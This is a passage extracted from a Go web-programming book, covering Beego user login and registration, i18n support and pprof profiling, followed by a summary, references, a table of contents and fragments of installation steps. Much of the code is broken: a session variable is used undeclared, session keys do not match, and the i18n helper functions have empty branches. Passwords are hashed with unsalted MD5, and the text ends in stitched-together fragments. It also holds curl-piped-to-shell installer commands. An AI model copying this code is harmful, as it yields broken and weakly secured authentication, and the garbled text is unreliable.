io.WriteString(md5Password, password)
buffer := bytes.NewBuffer(nil)
fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
newPass := buffer.String()
now := time.Now().Format("2006-01-02 15:04:05")
userInfo := models.GetUserInfo(username)
if userInfo.Password == newPass {
var users models.User
users.Last_logintime = now
models.UpdateUserInfo(users)
//Set the session successful login

sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
sess.Set("uid", userInfo.Id)
sess.Set("uname", userInfo.Username)
}
}
//Registration process
func (this *RegController) Post() {
this.TplNames = "reg.tpl"
this.Ctx.Request.ParseForm()
username := this.Ctx.Request.Form.Get("username")
password := this.Ctx.Request.Form.Get("password")
usererr := checkUsername(username)
fmt.Println(usererr)
if usererr == false {
this.Data["UsernameErr"] = "Username error, Please to again"
return
}
passerr := checkPassword(password)
if passerr == false {
this.Data["PasswordErr"] = "Password error, Please to again"
return
}
md5Password := md5.New()
io.WriteString(md5Password, password)
buffer := bytes.NewBuffer(nil)
fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
newPass := buffer.String()
now := time.Now().Format("2006-01-02 15:04:05")
userInfo := models.GetUserInfo(username)
if userInfo.Username == "" {
var users models.User
users.Username = username
users.Password = newPass
users.Created = now
users.Last_logintime = now
models.AddUser(users)
//Set the session successful login

sess.Set("uid", userInfo.Id)
sess.Set("uname", userInfo.Username)
} else {
this.Data["UsernameErr"] = "User already exists"
}
317
User validation
func checkPassword(password string) (b bool) {

if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok {
return false
}
return true
}
func checkUsername(username string) (b bool) {

if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok {
return false
}
return true
}
Once you have implemented user login and registration, other modules can be added to determine whether the user has
been logged in or not:
func (this *AddBlogController) Prepare() {

sess_uid := sess.Get("userid")
sess_username := sess.Get("username")
if sess_uid == nil {
this.Ctx.Redirect(302, "/admin/login")
return
}
this.Data["Username"] = sess_username
}
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Next section: Multi-language support
318
Multi-language support
14.5 Multi-language support

In the chapter where we introduced internationalization and localization, we developed the go-i18n library. In this section,
we will see how this library is integrated into the Beego framework, and how it enables our Beego applications to support
both internationalization and localization.
I18n integration
Beego first sets some global variables:
Translation i18n.IL
Lang string // set the language pack, zh, en
LangPath string // set the language pack location
A multi-language initialization function is defined:
func InitLang(){
beego.Translation:=i18n.NewLocale()
beego.Translation.LoadPath(beego.LangPath)
beego.Translation.SetLocale(beego.Lang)
}
In order to facilitate multi-language calls in the template package directly, we designed three functions for handling multi-
language responses:
319
beegoTplFuncMap["Trans"] = i18n.I18nT
beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate
beegoTplFuncMap["TransMoney"] = i18n.I18nMoney
func I18nT(args ...interface{}) string {

ok := false
var s string
if len(args) == 1 {
}
if !ok {
}
return beego.Translation.Translate(s)
}
func I18nTimeDate(args ...interface{}) string {

ok := false
var s string
if len(args) == 1 {
}
if !ok {
}
return beego.Translation.Time(s)
}
func I18nMoney(args ...interface{}) string {

ok := false
var s string
if len(args) == 1 {
}
if !ok {
}
return beego.Translation.Money(s)
}
Multi-language development
1. Setting the language and location of the language pack, then initialize i18n objects:
beego.Lang = "zh"
beego.LangPath = "views/lang"
beego.InitLang()
2. Designing a multi-language package
Above, we talked about how to initialize a multi-language package. Now, let's look at how to design one. Multi-
language packages are typically JSON files, as you've already seen in Chapter 10. We must provide translation files
for languages we wish to support on our LangPath , such as the following:
320
# zh.json
{
"zh": {
"submit": "提交",
"create": "创建"
}
}
# en.json
{
"en": {
"submit": "Submit",
"create": "Create"
}
}
3. Using language packages
We can call the controller to get the translated response in the desired language, like so:

this.Data["create"] = beego.Translation.Translate("create")
}
We can also directly interpolate translated responses in our templates:
// Direct Text translation

{{.create | Trans}}
// Time to translate
{{.time | TransDate}}
// Currency translation
{{.money | TransMoney}}
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Next section: pprof
321
pprof
14.6 pprof
A great feature of Go's standard library is its code performance monitoring tools. These packages exist in two places:
net/http/pprof
runtime/pprof
In fact, net/http/pprof simply exposes runtime profiling data from the runtime/pprof package on an HTTP port.
pprof support in Beego

The Beego framework currently supports pprof, however it is not turned on by default. If you need to test the performance
of your application, (for instance by viewing the execution goroutine) such information from Go's default package
"net/http/pprof" already has this feature. Because beego has repackaged the ServHTTP function, you can not open the
default feature included in pprof. This resulted in beego supporting pprof internally.
First in our beego.Run function, we choose whether or not to automatically load the performance pack according to our
configuration variable (in this case, PprofOn):
if PprofOn {
BeeApp.RegisterController(`/debug/pprof`, &ProfController{})
BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{})
}
Designing ProfController
package beego
import (
"net/http/pprof"
)
type ProfController struct {

Controller
}
func (this *ProfController) Get() {

switch this.Ctx.Params[":pp"] {
default:
pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request)
case "":
pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request)
case "cmdline":
pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request)
case "profile":
pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request)
case "symbol":
pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request)
}
this.Ctx.ResponseWriter.WriteHeader(200)
}
Getting started
From the above, we can see that enabling pprof is as simple as setting the PprofOn configuration variable to true :
322
pprof
beego.PprofOn = true
You can then open the following URL in your browser to see the following interface:
Figure 14.7 current system goroutine, heap, thread information
By clicking on a goroutine, we can see a lot of detailed information:
Figure 14.8 shows the current goroutine details
Of course, we can also get more details from the command line:
go tool pprof http://localhost:8080/debug/pprof/profile
This time, the program will begin profiling the application for a period of 30 seconds, during which time it will repeatedly
refresh the page in the browser in an attempt to gather CPU usage and performance data.
(pprof) top10
Total: 3 samples
1 33.3% 33.3% 1 33.3% MHeap_AllocLocked
1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors
1 33.3% 100.0% 1 33.3% runtime.sigprocmask
0 0.0% 100.0% 1 33.3% MCentral_Grow
0 0.0% 100.0% 2 66.7% main.Compile
0 0.0% 100.0% 2 66.7% main.compile
0 0.0% 100.0% 2 66.7% main.run
0 0.0% 100.0% 1 33.3% makeslice1
0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP
0 0.0% 100.0% 2 66.7% net/http.(*conn).serve
(pprof)web
Figure 14.9 shows the execution flow of information
Links
Directory
Previous section: Multi-language support
323
Summary
14.7 Summary
This chapter illustrates some ways in which the Beego framework can be extended. We first looked at static file support,
learning how Beego handles serving static files internally. We saw how this functionality allowed us to easily integrate static
assets (such as Bootstrap's CSS files) for rapid and great looking website development. Next, we saw how to integrate
sessionManager to painlessly facilitate user sessions in Beego. We then described form management and validation,
leveraging Go's structs to reduce code repetition and for simplifying field validation. After that, we discussed user
authentication which involved three main strategies: HTTP authentication (basic and digest), third party authentication, and
custom authentication. We learned about some existing third party authentication packages that have already implemented
these strategies, which are conveniently accommodated by Beego. The next section re-introduced language support in
Beego; we saw how to integrate the go-i18n package and learned how to easily load multiple language packs into our
applications as needed. Lastly, we discussed how to work with Go's pprof packages in Beego. The pprof package is
used for performance profiling in Go, and Beego repackages it so it can serve the same purpose in Beego applications
without much additional work. Through these six sections, we've extended Beego with many features, making it into a
versatile framework suitable for the requirements of many web applications. Users have the freedom of extending the
framework to suit their individual needs; this brief introduction to Beego simply offers a small taste of what can be done!
Links
Directory
Previous section: pprof
Next chapter: Appendix A References
324
References
Appendix A References
This book is a summary of my Go experience, some content are from other Gophers' either blogs or sites. Thanks to them!
1. golang blog
2. Russ Cox's blog
3. go book
4. golangtutorials
5. 轩脉刃de刀光剑影
6. Go Programming Language
7. Network programming with Go
8. setup-the-rails-application-for-internationalization
9. The Cross-Site Scripting (XSS) FAQ
325
preface
1.Go environment configuration

1.1. Installation
1.2. $GOPATH and workspace
1.3. Go commands
1.4. Go development tools
1.5. Summary
2.Go basic knowledge
2.1. "Hello, Go"
2.2. Go foundation
2.3. Control statements and functions
2.4. struct
2.5. Object-oriented
2.6. interface
2.7. Concurrency
2.8. Summary
3.Web foundation
3.1. Web working principles
3.2. Build a simple web server
3.3. How Go works with web
3.4. Get into http package
3.5. Summary
4.User form
4.1. Process form inputs
4.2. Verification of inputs
4.3. Cross site scripting
4.4. Duplicate submissions
4.5. File upload
4.6. Summary
5.Database
5.1. database/sql interface
5.2. MySQL
5.3. SQLite
5.4. PostgreSQL
5.5. Develop ORM based on beedb
5.6. NoSQL database
5.7. Summary
6.Data storage and session
6.1. Session and cookies
6.2. How to use session in Go
6.3. Session storage
6.4. Prevent hijack of session
6.5. Summary
7.Text files
7.1. XML
7.2. JSON
7.3. Regexp
7.4. Templates
7.5. Files
7.6. Strings
7.7. Summary
8.Web services
8.1. Sockets
8.2. WebSocket
326
preface
8.3. REST
8.4. RPC
8.5. Summary
9.Security and encryption
9.1. CSRF attacks
9.2. Filter inputs
9.3. XSS attacks
9.4. SQL injection
9.5. Password storage
9.6. Encrypt and decrypt data
9.7. Summary
10.Internationalization and localization
10.1 Time zone
10.2 Localized resources
10.3 International sites
10.4 Summary
11.Error handling, debugging and testing
11.1. Error handling
11.2. Debugging by using GDB
11.3. Write test cases
11.4. Summary
12.Deployment and maintenance
12.1. Logs
12.2. Errors and crashes
12.3. Deployment
12.4. Backup and recovery
12.5. Summary
13.Build a web framework
13.1. Project program
13.2. Customized routers
13.3. Design controllers
13.4. Logs and configurations
13.5. Add, delete and update blogs
13.6. Summary
14.Develop web framework
14.1. Static files
14.2. Session
14.3. Form
14.4. User validation
14.5. Multi-language support
14.6. pprof
14.7. Summary
Appendix A References
327

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Table

Go Environment Configuration 1.2

$GOPATH and workspace 1.2.2

Go basic knowledge 1.3

Build a simple web server 1.4.2

Process form inputs 1.5.1

Cross site scripting 1.5.3

Duplicate submissions 1.5.4

How to use MySQL 1.6.2

How to use SQLite 1.6.3

How to use beedb ORM 1.6.5

Data storage and session 1.7

Session and cookies 1.7.1

Session storage 1.7.3

Text files 1.8

Web services 1.9

Security and encryption 1.10

XSS attacks 1.10.3

Encrypt and decrypt data 1.10.6

Internationalization and localization 1.11

Localized resources 1.11.2

International sites 1.11.3

Error handling, debugging and testing 1.12

Error handling 1.12.1

Write test cases 1.12.3

Errors and crashes 1.13.2

Backup and recovery 1.13.4

Project program 1.14.1

Logs and configurations 1.14.4

Add, delete and update blogs 1.14.5

Develop web framework 1.15

Static files 1.15.1

User validation 1.15.4

Multi-language support 1.15.5

Build Web Application with Golang

Compiles a large project within a few seconds.

Three ways to install Go

Official installation packages.

Install from source code

sudo apt-get install gcc libc6-dev

git clone https://go.googlesource.com/go

On Windows, you can achieve the same by running all.bat .

Figure 1.1 Information after installing from source code

Using the standard installation packages

environment variables manually as I've shown above.

How to check if your operating system is 32-bit or 64-bit?

<some description> x86_64 x86_64 x86_64 GNU/Linux

32-bit operating systems instead show:

<some description> i686 i686 i386 GNU/Linux

displayed in figure 1.1.

Use third-party tools

bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)

Then we install Go using the following commands:

gvm install go1.8.3

After the process has finished, you're all set.

sudo add-apt-repository ppa:gophers/go

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

brew update && brew upgrade